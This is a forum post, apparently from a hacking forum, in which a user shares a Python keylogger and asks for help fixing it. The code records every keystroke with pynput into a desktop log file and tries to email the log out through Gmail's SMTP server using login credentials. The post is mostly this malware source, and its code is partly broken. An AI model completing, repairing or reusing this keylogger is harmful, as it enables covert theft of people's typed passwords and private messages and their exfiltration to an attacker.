Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

Issue with smtplib & sending Email

from pynput.keyboard import Key, Listener
import logging
from time import sleep
import smtplib
import datetime
data = ''

log_dir = r"C:/users/admin/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

f = open("keyLog.txt", "r")
data = f.read()


def send_mail():
global data
while True:
if len(data) > 10:
timeInSecs = datetime.datetime.now()
SERVER = "smtp.gmail.com"
PORT = 587
USER = "********"
PASS = "********"
FROM = USER
TO = [USER]
SUBJECT = "B33: " + timeInSecs.isoformat()
MESSAGE = data

message_payload = "\r\n".join((
"From: %s" % FROM,
"To: %s" % TO,
"Subject: %s" % SUBJECT,
"",
MESSAGE))
try:
server = smtplib.SMTP()
server.connect(SERVER, PORT)
server.starttls()
server.login(USER, PASS)
server.sendmail(FROM, TO, message_payload)
data = ''
server.quit()
except Exception as error:
print
error
sleep(5)

send_mail(data)




I'm not exactly sure where I am going wrong. The code is supposed to take keystrokes and record them into a log.txt file on the desktop which it is doing, but it is also supposed to email it via gmail to itself. I think the issue maybe with opening the log.txt and setting the string data to it but im not sure.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by MorphineJun 29, 2017 03:54 PM 3 278 Jun 29, 2017 03:54 PM
Last Post: arkoydas
[Python] by JohnFKennedyJan 24, 2017 05:49 AM 5 473 Jan 24, 2017 05:49 AM
Last Post: JohnFKennedy
[Python] by Malicious IntentNov 22, 2016 03:48 PM 3 194 Nov 22, 2016 03:48 PM
Last Post: Goodies